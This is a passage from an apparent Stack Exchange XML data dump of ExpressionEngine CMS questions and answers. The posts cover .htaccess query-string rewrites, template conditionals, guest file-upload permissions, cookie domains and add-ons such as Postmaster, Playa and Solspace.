?&amp;gt;&quot;}&#xA;{assign_variable:projekt=&quot;&amp;lt;?php echo get_id('projekt'); ?&amp;gt;&quot;}&#xA;{assign_variable:kunde=&quot;&amp;lt;?php echo get_id('kunde'); ?&amp;gt;&quot;}&#xA;&#xA;{mitarbeiter}&#xA;{projekt}&#xA;{kunde}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They were all catched on the old hosting, as well when I run the EE with no or clear .htaccess file. I'm not very well expierenced in writing .htaccess files but could be made an exception rule for this template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hints or advices!&lt;/p&gt;&#xA;" OwnerUserId="2610" LastEditorUserId="2610" LastEditDate="2014-01-17T08:22:53.410" LastActivityDate="2014-01-17T08:31:07.993" Title=".htaccess rewrite issue" Tags="|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18411" PostTypeId="1" CreationDate="2014-01-15T18:06:34.260" Score="1" ViewCount="524" Body="&lt;p&gt;I am trying to add a field that allows users to embed a youtube or third party video code. I have the field configured to be a textarea with no formatting. When I try to add the embed code in an entry form EE turns the any &amp;lt; into a special characters. This cause the video to not load correctly on the front-end website. I tried changing the field to Rich Textarea or Wygwam but the issue still occurs. You can see the error on this page (&lt;a href=&quot;http://mtcorps.org/blog/view/secretary-jewell-announces-1-million-private-funding-commitment&quot; rel=&quot;nofollow&quot;&gt;http://mtcorps.org/blog/view/secretary-jewell-announces-1-million-private-funding-commitment&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EEv2.7.2. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2014-02-15T01:34:56.367" Title="Video Embed Youtube Coding - Changing to Special Character" Tags="|ee2|video|embed-media|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18412" PostTypeId="2" ParentId="18395" CreationDate="2014-01-15T18:19:38.053" Score="0" Body="&lt;p&gt;I'd try removing all Wygwam related files in the third_party directory from the server and readding the 3.2.2 files. Maybe there's a wygwam.bk directory or something like that.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-15T18:19:38.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18413" PostTypeId="1" AcceptedAnswerId="18425" CreationDate="2014-01-15T18:27:22.737" Score="1" ViewCount="464" Body="&lt;p&gt;I have created a Channel Form that is intended for guest users (not logged in) to submit information including up to two image files. The form uses a Matrix or Grid field (I've tried both) for the image files. The form works great except that the image files are not uploaded. If I login as a Super Admin and submit the form, the files ARE uploaded, which leads me to believe it is some sort of permissions issue on the upload directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set /images/uploads and /images/uploads/habitats to 777 to try that, and it is still not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FORM CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;Habitats&quot; return=&quot;/habitats/thank-you&quot; &#xA;logged_out_member_id=&quot;6&quot; &#xA;rules:habitat_story=&quot;max_length[500]&quot; &#xA;rules:habitat_comments=&quot;max_length[500]&quot; &#xA;rules:habitat_management_practices=&quot;max_length[500]&quot; &#xA;rules:habitat_category_other=&quot;max_length[50]&quot; &#xA;rules:habitat_program_other=&quot;max_length[128]&quot;&#xA;}&#xA;&#xA;...&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;habitat_photos&quot;&amp;gt;{label:habitat_photos}&amp;lt;/label&amp;gt;&#xA;    {instructions:habitat_photos}&#xA;    {field:habitat_photos}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;...&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a solution or advice to fix my problem? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-01-15T21:22:05.017" Title="Channel Form file uploads in Matrix/Grid field not working for guest users" Tags="|matrix|file-uploads|channel-form|grid|guest|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18414" PostTypeId="2" ParentId="18388" CreationDate="2014-01-15T18:28:05.310" Score="1" Body="&lt;p&gt;The issue is that &quot;&lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt;&quot; is not the same as &quot;&lt;a href=&quot;http://www.domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com&lt;/a&gt;&quot; to ExpressionEngine. You are logged into the CP using one URL and EditThis is sending you to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fix this, you need to set a &quot;Cookie Domain&quot; on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cookie Settings page&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;FROM THE DOCS:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This preference allows you to set your cookie domain. The vast majority of people will want to set this to:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;.example.com&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Obviously you’ll use your actual domain name instead of ”.example.com”. Note the period at the beginning as it is very important. Setting the cookie domain like this will allow the cookies to work regardless of whether people specify your URL with the www part or only the http:// part.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want to restrict your cookies to a single subdomain then you may set that here as well:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;.subdomain.example.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-15T18:28:05.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18415" PostTypeId="2" ParentId="18410" CreationDate="2014-01-15T18:38:52.727" Score="0" Body="&lt;p&gt;This URL appears to function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.nanotronic.ch/kontakt/projectform/&amp;amp;mitarbeiter=test&amp;amp;projekt=test&amp;amp;kunde=test&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to use jQuery or something to build that URL on whichever page/function is generating that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely have to do it with mod_rewrite/htaccess, I'd imagine there's a way to do it, but, I'm not sure of what it would be.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-15T18:38:52.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18417" PostTypeId="2" ParentId="18413" CreationDate="2014-01-15T19:02:06.813" Score="3" Body="&lt;p&gt;By default, the members of the guests group cannot upload to EE; this is a permissions issue, but, it's permissions within EE, not with the filesystem, which is why CHMOD'ing to 777 didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13686/allow-guests-to-upload-to-directory&quot;&gt;Here's a link to a previous post with this problem, and a solution&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-15T19:02:06.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18419" PostTypeId="1" AcceptedAnswerId="18420" CreationDate="2014-01-15T20:24:11.420" Score="3" ViewCount="60" Body="&lt;p&gt;I have an area in my template that has room for a max of three entries, but if there are no entries the entire area needs to be hidden.  I have the max of 3 entries showing, but I can't figure out how to add the logic it needs to hide the container divs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my code so far &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;specialoffers&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;homeshadow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Special Offers&amp;lt;/h3&amp;gt;         &#xA;            {exp:channel:entries channel=&quot;special_offers&quot; dynamic=&quot;off&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}            &#xA;                        &amp;lt;div class=&quot;large-4 columns offer left&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot;&amp;gt;&#xA;                                {offer_image}&#xA;                                    &amp;lt;img src=&quot;{path}_offerpromo/{filename}.{extension}&quot; alt=&quot;{title}&quot;/&amp;gt;&#xA;                                {/offer_image}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot;&amp;gt;&amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{teaser_text}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot; class=&quot;darkgraybtn&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;                  &#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;basically, if there are no entries the &quot;specialoffers&quot; div should not display. &lt;/p&gt;&#xA;" OwnerUserId="2614" LastEditorUserId="22" LastEditDate="2014-01-15T20:45:54.127" LastActivityDate="2014-01-15T20:48:23.607" Title="Render HTML only if channel has entries" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18420" PostTypeId="2" ParentId="18419" CreationDate="2014-01-15T20:43:10.517" Score="2" Body="&lt;p&gt;You can address this by moving your &lt;code&gt;channel:entries&lt;/code&gt; tag pair to the outside and then conditionally outputting your opening and closing HTML based on &lt;code&gt;count&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;special_offers&quot; dynamic=&quot;off&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}&#xA;&#xA;    {if count == &quot;1&quot;}&#xA;    &amp;lt;div class=&quot;specialoffers&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;homeshadow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Special Offers&amp;lt;/h3&amp;gt;&#xA;    {/if}&#xA;&#xA;        &amp;lt;div class=&quot;large-4 columns offer left&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot;&amp;gt;&#xA;                {offer_image}&#xA;                    &amp;lt;img src=&quot;{path}_offerpromo/{filename}.{extension}&quot; alt=&quot;{title}&quot;/&amp;gt;&#xA;                {/offer_image}&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot;&amp;gt;&amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;{teaser_text}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}index.php/offers/{url_title}&quot; class=&quot;darkgraybtn&quot;&amp;gt;Learn More&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;                  &#xA;&#xA;    {if count == total_results}&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there are no entries nothing will be output at all.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-15T20:48:23.607" LastActivityDate="2014-01-15T20:48:23.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18421" PostTypeId="2" ParentId="18074" CreationDate="2014-01-15T20:46:38.437" Score="0" Body="&lt;p&gt;No, it's not possible to calculate an age based on a date with Low Nice Date.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-15T20:46:38.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18422" PostTypeId="2" ParentId="18327" CreationDate="2014-01-15T20:47:26.317" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can Exp:resso Store handle recurring subscriptions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. There's a &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;feature request&lt;/a&gt; for it, but it would be a big undertaking to build so I wouldn't hold your breath.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users should also be able to opt to become members (paid subscription) at checkout. It would be great if this then facilitated an immediate percentage discount on products in their basket too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Store does support creating discounts for specific member groups, so if you do use a different system to handle purchasing the subscriptions and maintaining which member group people belong in, Store would probably still be a good fit for selling your products.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-15T20:47:26.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18423" PostTypeId="1" AcceptedAnswerId="18436" CreationDate="2014-01-15T21:16:58.267" Score="5" ViewCount="604" Body="&lt;p&gt;I have Postmaster installed, and parcels set up to handle email notifications of channel entries/status changes etc. This uses Mandrill and works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to utilise Mandrill for the sending of system emails, (new member notification/activation etc) and know that this is possible with Postmaster, but I'm not quite sure how to set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else done this, or maybe have a screen shot on how to set it up on the Postmaster CP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-01-16T00:22:44.223" Title="Using Postmaster to send system emails" Tags="|email|postmaster|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18424" PostTypeId="2" ParentId="7657" CreationDate="2014-01-15T21:21:45.650" Score="1" Body="&lt;p&gt;This was solved by Chris Newton making some tweaks to allow a sub_label tag..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:cartthrob:order_items order_id=&quot;{entry_id}&quot;}&#xA;&#xA;                            {order_items}&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;{item:title}&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;                                    &amp;lt;div&amp;gt;&#xA;&#xA;                                        {item_options}&#xA;                                            {if sub_label}&amp;lt;i&amp;gt;{sub_label}: {option_value}&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;{if:else}&amp;lt;i&amp;gt;{option_label}: {option_value}&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;{/if}&#xA;                                        {/item_options}&#xA;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td valign=&quot;top&quot; align=&quot;right&quot;&amp;gt;{item:quantity}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td valign=&quot;top&quot; align=&quot;right&quot;&amp;gt;{item:price_plus_tax}&amp;lt;br /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td valign=&quot;top&quot; align=&quot;right&quot;&amp;gt;{item:subtotal_plus_tax}&amp;lt;br /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                            {/order_items}&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-01-15T21:21:45.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18425" PostTypeId="2" ParentId="18413" CreationDate="2014-01-15T21:22:05.017" Score="0" Body="&lt;p&gt;I realized I forgot to give upload permission to my new member group (the one I created for the anonymous submitter) in the File Upload destination preferences. I went in and did that, and now the form is working correctly. :)&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-01-15T21:22:05.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18427" PostTypeId="1" AcceptedAnswerId="18428" CreationDate="2014-01-15T21:41:27.653" Score="0" ViewCount="132" Body="&lt;p&gt;I have site 1 and site 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 2 has a Playa field related to a channel in site 1. I cannot get the related entries from site 1 to display in site 2.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-15T21:41:27.653" Title="Playa not displaying entries from different site within multi site manager" Tags="|playa|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18428" PostTypeId="2" ParentId="18427" CreationDate="2014-01-15T21:41:27.653" Score="1" Body="&lt;p&gt;Add &lt;strong&gt;site=&quot;site_short_name&quot;&lt;/strong&gt; to the Playa tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; ...}&#xA;    {related_field site=&quot;site_1&quot;}&#xA;        {some_field}&amp;lt;br&amp;gt;&#xA;    {/related_field_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: as of today, this is not included anywhere in Playa's documentation.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-15T21:41:27.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18429" PostTypeId="1" AcceptedAnswerId="18441" CreationDate="2014-01-15T22:10:32.840" Score="1" ViewCount="496" Body="&lt;p&gt;I'm setting up Solspace Facebook Connect (fbc) for the first time and I would like to use my own custom buttons (anchor tag) instead of the ugly default button. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-15T03:34:55.883" Title="Custom facebook button with Solspace Facebook Connect?" Tags="|solspace|facebook|solspace-facebookconnect|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18430" PostTypeId="2" ParentId="18410" CreationDate="2014-01-15T23:02:10.257" Score="2" Body="&lt;p&gt;In your htaccess, you can add another rule that recognizes query strings, and then appends them with an &amp;amp; to the page URL that gets turned into the first part of the query string (after the ?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;&#xA;#URLs WITH a query string&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{QUERY_STRING} !^$&#xA;RewriteRule ^(.*)$ /index.php?/$1\&amp;amp;%{QUERY_STRING} [B,L]&#xA;&#xA;# URLs WITHOUT a query string&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've done something like this on EE 1.6x sites under FCGI hosting, and had it work.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-01-15T23:02:10.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18432" PostTypeId="2" ParentId="18423" CreationDate="2014-01-15T23:33:46.863" Score="3" Body="&lt;p&gt;You can use the Escort extension to do that. Really simple to set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/escort&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seamus&lt;/p&gt;&#xA;" OwnerUserId="1060" LastActivityDate="2014-01-15T23:33:46.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18433" PostTypeId="2" ParentId="17204" CreationDate="2014-01-15T23:54:31.940" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{organisation}                                     &#xA;    {organisation:related_organisation:title}&#xA;    {organisation:related_organisation:categories}&#xA;        {organisation:related_organisation:category_id}&#xA;    {/organisation:related_organisation:categories}                                                                         &#xA;{/organisation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the change, from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{organisation:related_organisation:category_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You must remember to reference the parents when nesting.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2014-01-15T23:54:31.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18434" PostTypeId="1" AcceptedAnswerId="18458" CreationDate="2014-01-16T00:04:41.303" Score="0" ViewCount="70" Body="&lt;p&gt;The title may be misleading if not confusing, so a little explanation is in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a basic article channel that feeds content to 38 different pages on a site based on the selected categories. I include summary information for selected articles on the home page of the site using the Relationship field and include a Read More link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge I am facing is how to link that home page summary to the correct page based on the entry category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on this will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-16T16:58:13.450" Title="How do you link to entries from multiple categories using the Relationship field?" Tags="|categories|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18435" PostTypeId="1" CreationDate="2014-01-16T00:10:59.337" Score="2" ViewCount="276" Body="&lt;p&gt;EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a secondary site on Multi Site Manager. Users can only login to EE from the main site, so I have no admin.php for the secondary site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the secondary site's index.php, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $assign_to_config['site_name']  = 'secondary_site_name';&#xA; $assign_to_config['cp_url'] = 'http://primarysite.com/cp';&#xA; $assign_to_config['site_url'] = 'http://secondarysite.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I go to Admin --&gt; General Configuration for the secondary site, &lt;strong&gt;URL to the root directory of your site&lt;/strong&gt; is still set to primarysite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make this setting correct? Note: I will be adding additional sites later.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-05-17T18:10:38.590" Title="Secondary site on MSM not retaining its URL" Tags="|multi-site-manager|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18436" PostTypeId="2" ParentId="18423" CreationDate="2014-01-16T00:22:44.223" Score="4" Body="&lt;p&gt;This is really easy to do with Postmaster. You just have to setup a Hook that uses the &quot;Send System Email&quot; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First click &quot;New Hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aC58O.png&quot; alt=&quot;New hook screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the &quot;Send System Email&quot; hook. Be sure to check &quot;End Script&quot; or else two emails will send (the one from Postmaster and the original).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pexu4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see below I have titled the hook &quot;System Emails&quot;. This is all that is required to get this working, with the addition to filling in the to email, from email, message and subject. Take a look at this link for the reference of which variables are parsed within this particular hook. Just be sure to prefix all the variables used with the Hooks section with &lt;code&gt;hook:&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/send-system-email&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://objectivehtml.com/postmaster/hooks/send-system-email&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxtv1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-01-16T00:22:44.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18437" PostTypeId="2" ParentId="18411" CreationDate="2014-01-16T00:36:08.297" Score="1" Body="&lt;p&gt;You'll notice it's also adding paragraph tags around the content of your text area - double check to ensure that when you have it set as a textarea fieldtype you also have formatting set to &quot;none&quot;. It seems you have have XHTML formatting on the field currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you might consider, if you won't want to have users inserting embed code (at least for youtube or vimeo) is DevDemon's awesome and free fieldtype called Channel Videos. As a fieldtype, it allows you to search youtube and vimeo from the control panel and allows you to set up all the custom parameters you want within the add-on, removing those aspects of the setup from the user-admin side.  And at the template level, it does all the code insertion for you and applies the parameters you have set in your add-on's preferences.  It doesn't help you with third party embeds - for that you'd still need a field like you're trying now - but for youtube and vimeo, it's excellent.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-16T00:36:08.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18438" PostTypeId="1" AcceptedAnswerId="18505" CreationDate="2014-01-16T01:14:56.853" Score="0" ViewCount="33" Body="&lt;p&gt;Using Solspace User and the {exp:user:edit} form, is it possible to to create an HTML links that has the same function as the button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;remove_photo&quot; value=&quot;Remove Current Photo?&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't achieve the styling I want using an input button element.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-18T21:24:19.627" Title="Solspace User &quot;remove_photo&quot; with link instead of input button?" Tags="|solspace|solspace-user|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18439" PostTypeId="1" AcceptedAnswerId="18508" CreationDate="2014-01-16T01:48:59.113" Score="0" ViewCount="82" Body="&lt;p&gt;I've setup Solspace Facebook Connect to do passive registration. However, when I test this by logging in with my facebook account the email used for the EE member registration is the facebook email like &lt;code&gt;c414b91c90b55584f779f052531f225b@facebook.com&lt;/code&gt; instead of the user &quot;real&quot; email account, even though I'm including &quot;email&quot; in the permissions parameter on &lt;code&gt;{exp:fbc:login}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else I have to do to get the real email address to be used for EE member passive registration?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2015-09-14T20:05:18.443" Title="Solspace FBC not using &quot;real&quot; email addresses for passive registration" Tags="|solspace|solspace-facebookconnect|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18440" PostTypeId="1" AcceptedAnswerId="18511" CreationDate="2014-01-16T02:12:05.863" Score="0" ViewCount="91" Body="&lt;p&gt;I'm using Solspace User and &lt;code&gt;{exp:user:edit}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice there is a form field &lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;group_id&quot; value=&quot;{group_id}&quot; /&amp;gt;&lt;/code&gt;  but docs say its only visible to SA's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make this visible to the logged in user so they have permission to change their own member group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;{exp:user:register}&lt;/code&gt; new users have the option of picking their member group from your list of &quot;allowed groups&quot; yet they don't have the ability to edit that group later if they pick the wrong group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This becomes more important when you also implement &lt;strong&gt;Solspace Facebook Connect&lt;/strong&gt;, which allows passive registrations but all passive registrations must go to the same member group. Since passive registrations don't get the choice of choosing their member group on sign up, I need a way for them to edit the member group later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-19T02:56:43.933" Title="Solspace User (edit) allow member to change their own group?" Tags="|solspace|solspace-user|member-management|solspace-facebookconnect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
